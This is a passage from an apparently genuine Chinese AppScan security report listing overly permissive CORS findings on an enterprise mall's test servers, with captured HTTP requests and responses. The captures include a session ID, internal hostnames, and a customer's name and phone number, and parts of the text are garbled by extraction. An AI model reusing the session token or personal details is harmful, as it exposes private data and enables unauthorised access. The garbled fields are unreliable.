                                       "createTimeStr": "2018-01-12 10:49:27",
                                       "totalPay": 30.00,
                                       "totalMinis": 0.00,
                                       "realPay": 30.00,
                                       "walletPayQty": null,
                                       "realPayQty": null,
                                       "payStartTm": null,
                                       "payStatus": 2,
                                       "payFinishTm": null,
                                       "addressId": 1191315,
                                       "note": null,
                                       "synStatus": 1,
                                       "payType": nuii,
"deliveryAddress": null,
"ffi",
                                       "payType": null,
                                       "receiverName": " 怀信", "receiverPhone": "18665939116",
                                       "acceptSynStatus": 0,
                                       "logisticsStatus": 0,
                                       "status": 0,
                                       "isSelfExtract": 0,
                                       "freight": 0.00,
                                       "hasInvoice": 0,
                                       "parentOrderNo": "1049253677066654",
                                       "autoCancelTime": null,
                                       "deliveryTime": null,
                                       "autoConfirmTime": null,
                                       "confirmTime": null,
                                       "shipmentsTime": null,
                                       "shipmentsUser": "",
"userName": " 怀信",
"userPhone": "18665939116",
                                       "billNo": null,
                                       "runid": null,
"globalFlowNo": null,
                                       "taskOpinionList": null,
                                       "totalNum": 1,
                                       "orderDetails": [
                                                          "rid": 11876,
                                                          "orderNo": "1049253677076654",
"goodsId": 105173,
"goodsNum": 3,
                                                          "goodsPrice": 10.00,
                                                          "totalValue": 30.00,
                                                          "isScore": 0,
                                                          "status": 0,
                                                          "goodsCode": "0275319",
"goodsName": " 纸
                                                                                   纸巾",
                                                          "goodsImg": "",
                                                          "goodsImg: ,
"goodsSpec": "",
"goodsUnit": "
                                                                                   盒",
                                                          "hasService": 0,
. . .
. . .
```

问题 2 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	(f.
CVSS 分数:	5.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/
实体:	(Page)
A A	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET / HTTP/1 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Host: system-rest-enterprise.mall.xt.weilian.cn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 13885
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
<!DOCTYPE html>
<!--[if IE 9]>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if qt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
    <meta charset="utf-8">
    <title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
   <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- Icons -->
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
browsers -->
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png"</pre>
sizes="57x57">
```

```
<link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
   <!-- END Icons -->
   <!-- Stylesheets -->
    <!-- Bootstrap is included in its original form, unaltered -->
   k rel="stylesheet" type="text/css"
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
<link rel="stylesheet" href="css/font-awesome.min.css"/>
   <link rel="stylesheet" href="css/build.css"/>
   <!-- Related styles of various icon packs and plugins -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
    <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
   <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
   <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    <!-- END Stylesheets -->
   <stvle>
       .error {
         color: red;
         .toptitle{font-family:"
                                     微软雅黑";font-size:16px;padding-top:10px;}
        body{background-color:#F2F4F4;}
         #login-background{background-color:#730000;}
    </style>
    <!-- Modernizr (browser feature detection library) -->
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
</script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<body>
   <!-- Login Background -->
    <div id="login-background">
       <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
image for smaller file size) -->
   <!-- END Login Background -->
   <!-- Login Container -->
    <div id="login-container" class="animation-fadeIn">
        <!-- Login Title -->
        <!-- END Login Title -->
        <!-- Login Block -->
        <div class="block push-bit" style="background-color:#F6F6F6;padding-left:100px;padding-</pre>
right:100px;" >
                 <div align="center" style="padding:30px 0;">
                         </div>
          <!-- Login Form -->
```

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问题 3 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	€ The state of th
CVSS 分数:	5.0
URL:	http://vr-base-rest-enterprise.mall.xt.weilian.cn/pubRole/selectVipRoleList
实体:	selectVipRoleList (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /pubRole/selectVipRoleList?goodslevelid=3 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-base-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:11:30 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "code": null,
 "msg": null,
 "data": [
 "html": null
```

问题 4 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	€ Company of the com
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/getUserInfo
实体:	getUserInfo (Page)
风险:	可能会收集方头 Web 应用积度的缺感信息 加用自身 索可 机现象和试敏感文件位置
)	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsRestApi/getUserInfo HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
Content-Type: application/json
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:11:24 GMT
Content-Type: application/json
Transfer-Encoding: chunked
{
  "data": [
                 "opcode": null,
                 "goodsname": null,
                 "goodstype": null,
                 "departmentid": null,
                 "goodsunit": null,
                 "brandid": null,
                 "factoryid": null,
                 "prodarea": null,
                 "inputmanid": 2,
                 "bookindate": null,
                 "bookindateStr": "2018-01-12 11:11:23",
                 "status": null,
                 "priceflag": null,
                 "stupperlimit": null,
                 "stlowerlimit": null,
```

```
"barcode": null,
                "classcodeflag": null,
                "smallscaleflag": null,
                "goodsclassid": null,
                "lastupdateerid": null,
                "lastupdateername": null,
                "lastupdatedate": null,
                "specmodel": null,
"goodsspec": null,
                "goodsmodel": null,
                "classname": null,
                "goodsid": null,
                "enterpriseid": null,
                "enterprisecode": null,
                "goodscode": null,
"taxinprice": null,
                "intax": null,
                "baseprice": null,
                "wsaleprice": null,
                "wdis": null,
                "o2osaleprice": null,
                "tmallsaleprice": null,
                "saleprice": null,
                "minprice": null,
                "outtax": null,
                "memo1": null,
                "memo2": null,
                "memo3": null,
                "memo4": null,
                "sendstatus": null,
                "warehouseid": null,
                "supplierid": null,
                "pricetypeid": null,
                "pricetypename": null,
                "goodstatus": null,
                "goodsclassname": null,
                "brandname": null,
                "wsalepricestarttime": null,
                "wsalepriceendtime": null,
                "goodssubname": null,
                "goodsproperty": null,
                "weight": null,
                "bulk": null,
                "releasechannel": null,
                "goodsimgurl": null,
                "basegoodsimgurl": null,
                "dtlgoodsimgurl": null,
                "iscontorlseq": 0,
                "expirationdate": null,
                "origin": null,
                "storagetemperature": null,
                "goodsclassnameek": null,
                "appgoodsname": null,
                "sellingpointdescription": null,
                "distributiontype": null,
                "distributionpreparationtime": null,
                "distributionprocessingtime": null,
                "adjustflag": null,
                "approvaltypeid": null,
                "goodslevelid": null,
                "qsbmid": null,
                "level": null,
                 "gsbmname": null,
                 "approvaltypename": null,
                "actdefid": null,
                "classcode": null,
                "inputmanname": "
                                          资源商城测试01",
                "factoryname": null,
                "notaxprice": null,
                "phonecomments": null,
                 "pccomments": null,
                "sonoffdate": null
"returnCode": 1,
"msg": null,
"html": null
```

问题 5 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	1E
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/static/goodscontrolList.html
实体:	goodscontrolList.html (Page)
RFM:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

变体-|1/2

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
OPTIONS /static/goodscontrolList.html HTTP/1.1
sessionId: c5b8689a1098705cd3ffdff0d57563a1
Access-Control-Request-Method: GET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: */*
Access-Control-Request-Headers: sessionid
Accept-Language: en-US, en; q=0.8
HTTP/1.1 200 OK
Content-Length: 17906
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
<style>
    #goodscontrol-table td {
        text-align: center;
        line-height: 28px;
    #goodscontrol-table th {
       text-align: center;
        line-height: 28px;
</style>
<div class="row">
   <div class="col-xs-12">
```

```
<div id="goodscontrol-table"></div>
    </div>
 </div>
<!--查询模板-->
<div class="form-group">
        <div>
         <form method="post" id="goodscontrolsearchForm" role="form">
         资产编码
        >
         <input type="text" class="form-control goods_se_entry" name="goodscode"</pre>
        id="goodscontrolcode"
         autocomplete="off"/>
         <input type="hidden" name="goodsid" id="goodscontrolid"/>
         资产名称
        >
        <input type="text" class="form-control" name="goodsname" id="goodsname"/>
        上下架状态
         <select id="goodscontrolselect" name="status" class="form-control" type="text">
         <option value>--请选择--</option>
         <option value='2'>待上架</option>
         <option value='1'>上架</option>
         <option value='0'>下架</option>
         </select>
         </form>
        </div>
       </div>
   </div>
 </script>
<!--查询模板-->
 <script id="ongoods Temp" type="text/html">
   <div id="ongoods_Dig" class="from_table_con">
       <div class="form-group">
        <div>
        <form method="post" id="on_goods_form" role="form">

        <!-- <td>上架时间
        <input type="text" class="form-control " id="od begindate" name="begindate"</pre>
        下架时间
         <+d>>
        <input type="text" class="form-control " id="od enddate" name="enddate"</pre>
        value="">
         -->
                                        确认上架
        </form>
        </div>
       </div>
   </div>
 </script>
<script type="text/javascript">
```

```
//初始化js
    $(function () {
        //var goodsURL = "http://test.vr.weilian.cn:40884/";
       var goodsURLs = goodsURL;
       //初始化上下架管理列表
       var option = {
         plusBtn: [{
         id: "queryGoodscontrolBtn",
         text: "查询",
         clazz: "btn btn-primary btn-sm",
         iconClass: "fa fa-grav"
         },{
         id: "onGoodscontrolBtn",
         text: "上架",
         clazz: "btn btn-primary btn-sm",
         iconClass: "fa fa-grav"
         id: "offGoodscontrolBtn",
         text: "下架",
         clazz: "btn btn-primary btn-sm",
         iconClass: "fa fa-grav"
         //自定义按钮绑定事件
         onInit: function () {
. . .
. . .
```

变体-|2/2

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /static/goodscontrolList.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: text/html, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 17906
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
    #goodscontrol-table td {
       text-align: center;
       line-height: 28px;
    #goodscontrol-table th {
        text-align: center;
        line-height: 28px;
</style>
<div class="row">
```

```
<div class="col-xs-12">
      <div id="goodscontrol-table"></div>
   </div>
</div>
<!--查询模板-->
<script id="goodscontrol_searchTemp1" type="text/html">
   <div id="ins-search" class="from_table_con">
      <div class="form-group">
       <div>
       <form method="post" id="goodscontrolsearchForm" role="form">
       资产编码
       <+d>>
       <input type="text" class="form-control goods se entry" name="goodscode"</pre>
       id="goodscontrolcode"
       autocomplete="off"/>
       <input type="hidden" name="goodsid" id="goodscontrolid"/>
       资产名称
       <input type="text" class="form-control" name="goodsname" id="goodsname"/>
       上下架状态
       <select id="goodscontrolselect" name="status" class="form-control" type="text">
       <option value>--请选择--</option>
       <option value='2'>待上架</option>
       <option value='1'>上架</option>
       <option value='0'>下架</option>
       </select>
       </form>
       </div>
      </div>
   </div>
</script>
<!--查询模板-->
<div class="form-group">
       <form method="post" id="on goods form" role="form">
       >
       <!-- <td>上架时间
       >
       <input type="text" class="form-control " id="od begindate" name="begindate"</pre>
       value="">
       下架时间
       <input type="text" class="form-control " id="od_enddate" name="enddate"</pre>
       value="">
       -->
                                      确认上架
       </form>
       </div>
      </div>
   </div>
</script>
```

```
<script type="text/javascript">
    //初始化js
    $(function () {
        //var goodsURL = "http://test.vr.weilian.cn:40884/";
        var goodsURLs = goodsURL;
        //初始化上下架管理列表
        var option = {
         plusBtn: [{
         id: "queryGoodscontrolBtn",
          text: "查询",
clazz: "btn btn-primary btn-sm",
          iconClass: "fa fa-grav"
          },{
          id: "onGoodscontrolBtn",
          text: "上架",
          clazz: "btn btn-primary btn-sm",
          iconClass: "fa fa-grav"
          },{
          id: "offGoodscontrolBtn",
          text: "下架",
          clazz: "btn btn-primary btn-sm", iconClass: "fa fa-grav"
          //自定义按钮绑定事件
          onInit: function () {
          $("#queryGoodscontrolBtn").on("click", function () {
. . .
```

问题 6 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	€ The state of th
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsonoffdetail/getdetailList
实体:	getdetailList (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

变体-|1/6

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
GET /goodsonoffdetail/getdetailList?
draw=1&start=0&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue=
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
```

```
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:10:50 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
                  "startIndex": 0,
                  "pageSize": 15,
                  "totalCount": 72,
                  "results": [
                                   "enterpriseid": 55,
                                  "onoffDtlid": null,
                                  "goodsonoffid": null,
                                   "goodsid": 105190,
                                  "goodscode": "0200202",
                                  "saleprice": null,
                                  "lsaleprice": null,
                                  "wsaleprice": null,
                                   "netsaleprice": null,
                                  "ondate": null,
"offdate": null,
                                  "memo": null,
                                  "barcode": null,
                                   "goodsname": "werdhgf",
                                   "goodsunit": "gechi",
                                  "goodstype": null,
                                  "price": null,
"classname": "
                                                        办公耗材",
                                  "goodsclassid": null,
                                   "saleqty": null,
                                  "departmentid": 1670,
                                  "status": 0,
                                  "statusname": "
                                  "enterpriseid": 55,
                                  "onoffDtlid": null,
                                  "goodsonoffid": null,
                                  "goodsid": 105186,
                                  "goodscode": "0375346",
                                  "saleprice": null,
                                   "lsaleprice": null,
                                  "wsaleprice": null,
                                   "netsaleprice": null,
                                  "ondate": null,
                                  "offdate": null,
                                  "memo": null,
                                   "barcode": null,
                                   "goodsname": "
                                                        场地",
                                   "goodsunit": "
                                                        小时",
                                   "goodstype": null,
                                  "price": null,
"classname": "
                                                        场地租用",
                                  "goodsclassid": null,
                                   "saleqty": null,
                                   "departmentid": 1670,
                                   "status": 1,
                                  "statusname": " 上架"
```

```
"enterpriseid": 55,
"onoffDtlid": null,
"goodsonoffid": null,
"goodsid": 105184,
"goodscode": "0300345",
"saleprice": null,
"lsaleprice": null,
"wsaleprice": null,
"netsaleprice": null,
"ondate": null,
"offdate": null,
"memo": null,
"barcode": null,
"goodsname": "
                      会场租用",
"goodsunit": "
"goodstype": null,
"price": null,
"classname": "
                      会场租用",
"goodsclassid": null,
"saleqty": null,
"departmentid": 1670,
"status": 2,
"statusname": "
                     待上架"
"enterpriseid": 55,
"onoffDtlid": null,
"goodsonoffid": null,
"goodsid": 105183,
"goodscode": "0300299",
"saleprice": null,
"lsaleprice": null,
"wsaleprice": null,
"netsaleprice": null,
"ondate": null,
"offdate": null,
"memo": null,
"barcode": null,
"goodsname": "
"goodsunit": "
                      工位租用",
"goodstype": null,
"price": null,
"classname": "
                      工位租用",
"goodsclassid": null,
"saleqty": null,
"departmentid": 1670,
"status": 2,
"statusname": "
                     待上架"
"enterpriseid": 55,
"onoffDtlid": null,
"goodsonoffid": null,
"goodsid": 105182,
"goodscode": "0300123",
"saleprice": null,
"lsaleprice": null,
"wsaleprice": null,
"netsaleprice": null,
"ondate": null,
"offdate": null,
"memo": null,
"barcode": null,
"goodsname": "
"goodsunit": "
                      场地租用",
"goodstype": null,
"price": null,
"classname": "
                      场地租用",
"goodsclassid": null,
"saleqty": null,
"departmentid": 1670,
"status": 2,
"statusname": "
                     待上架"
"enterpriseid": 55,
```

```
"onoffDtlid": null,
"goodsonoffid": null,
"goodsid": 105181,
"goodscode": "0102226",
"saleprice": null,
"lsaleprice": null,
"wsaleprice": null,
"netsaleprice": null,
"ondate": null,
"offdate": null,
"memo": null,
"barcode": null,
"goodsname": "
                     交通运输设备",
"goodsunit": "
"goodstype": null,
"price": null,
                     交通运输设备",
"classname": "
"goodsclassid": null,
"saleqty": null,
"departmentid": 1670,
"status": 2,
"statusname": "
                    待上架"
"enterpriseid": 55,
"onoffDtlid": null,
"goodsonoffid": null,
"goodsid": 105180,
"goodscode": "0120051",
"saleprice": null,
"lsaleprice": null,
"wsaleprice": null,
"netsaleprice": null,
"ondate": null,
"offdate": null,
"memo": null,
"barco
```

变体-|2/6

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
GET /goodsonoffdetail/getdetailList?
draw=2&start=0&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue=
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
```

```
Date: Fri, 12 Jan 2018 03:19:39 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
                  "startIndex": 0,
                  "pageSize": 15,
                  "totalCount": 72,
                  "results": [
                                    "enterpriseid": 55,
                                    "onoffDtlid": null,
                                    "goodsonoffid": null,
                                    "goodsid": 105190,
                                    "goodscode": "0200202",
                                    "saleprice": null,
                                    "lsaleprice": null,
                                    "wsaleprice": null,
                                    "netsaleprice": null,
                                    "ondate": null,
"offdate": null,
                                    "memo": null,
                                    "barcode": null,
                                    "goodsname": "werdhgf",
                                    "goodsunit": "gechi",
                                    "goodstype": null,
                                    "price": null,
"classname": "
                                                           办公耗材",
                                    "goodsclassid": null,
                                    "saleqty": null,
                                    "departmentid": 1670,
                                    "status": 1,
                                    "statusname": "
                                                           上架"
                                    "enterpriseid": 55,
                                    "onoffDtlid": null,
                                    "goodsonoffid": null,
                                    "goodsid": 105186,
                                    "goodscode": "0375346",
                                    "saleprice": null,
                                    "lsaleprice": null,
                                    "wsaleprice": null,
                                    "netsaleprice": null,
                                    "ondate": null,
"offdate": null,
                                    "memo": null,
                                    "barcode": null,
                                    "goodsname": "
                                                           场地",
                                    "goodsunit": "
                                                           小时",
                                    "goodstype": null,
                                    "price": null,
"classname": "
                                                           场地租用",
                                    "goodsclassid": null,
                                    "saleqty": null,
                                    "departmentid": 1670,
                                    "status": 1,
                                    "statusname": "
                                    "enterpriseid": 55,
                                    "onoffDtlid": null,
                                    "goodsonoffid": null,
                                    "goodsid": 105184,
                                    "goodscode": "0300345",
                                    "saleprice": null,
                                    "lsaleprice": null,
                                    "wsaleprice": null,
                                    "netsaleprice": null,
                                    "ondate": null,
"offdate": null,
                                    "memo": null,
                                    "barcode": null,
                                    "goodsname": "
"goodsunit": "
                                                           会场租用",
                                    "goodstype": null,
```

```
"price": null,
"classname": "
                     会场租用",
"goodsclassid": null,
"saleqty": null,
"departmentid": 1670,
"status": 2,
"statusname": "
                     待上架"
"enterpriseid": 55,
"onoffDtlid": null,
"goodsonoffid": null,
"goodsid": 105183,
"goodscode": "0300299",
"saleprice": null,
"lsaleprice": null,
"wsaleprice": null,
"netsaleprice": null,
"ondate": null,
"offdate": null,
"memo": null,
"barcode": null,
"goodsname": "
                      工位租用",
"goodsunit": "
                      间",
"goodstype": null,
"price": null,
"classname": "
                      工位租用",
"goodsclassid": null,
"saleqty": null,
"departmentid": 1670,
"status": 2,
"statusname": "
                    待上架"
"enterpriseid": 55,
"onoffDtlid": null,
"goodsonoffid": null,
"goodsid": 105182,
"goodscode": "0300123",
"saleprice": null,
"lsaleprice": null,
"wsaleprice": null,
"netsaleprice": null,
"ondate": null,
"offdate": null,
"memo": null,
"barcode": null,
                      场地租用",
"goodsname": "
"goodsunit": "
"goodstype": null,
"price": null,
"classname": "
                      场地租用",
"goodsclassid": null,
"saleqty": null,
"departmentid": 1670,
"status": 2,
"statusname": "
                    待上架"
"enterpriseid": 55,
"onoffDtlid": null,
"goodsonoffid": null,
"goodsid": 105181,
"goodscode": "0102226",
"saleprice": null,
"lsaleprice": null,
"wsaleprice": null,
"netsaleprice": null,
"ondate": null,
"offdate": null,
"memo": null,
"barcode": null,
"goodsname": "
"goodsunit": "
                      交通运输设备",
"goodstype": null,
"price": null,
"classname": "
                     交通运输设备",
"goodsclassid": null,
```

```
"saleqty": null,
                                  "departmentid": 1670,
                                  "status": 2,
                                                      待上架"
                                  "statusname": "
                                  "enterpriseid": 55,
                                  "onoffDtlid": null,
                                  "goodsonoffid": null,
                                  "goodsid": 105180,
                                  "goodscode": "0120051",
                                  "saleprice": null,
                                  "lsaleprice": null,
                                  "wsaleprice": null,
                                  "netsaleprice": null,
                                  "ondate": null,
                                  "offdate": null,
                                  "memo": null,
                                  "barco
. . .
. . .
```

变体-|3/6

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
GET /goodsonoffdetail/getdetailList?
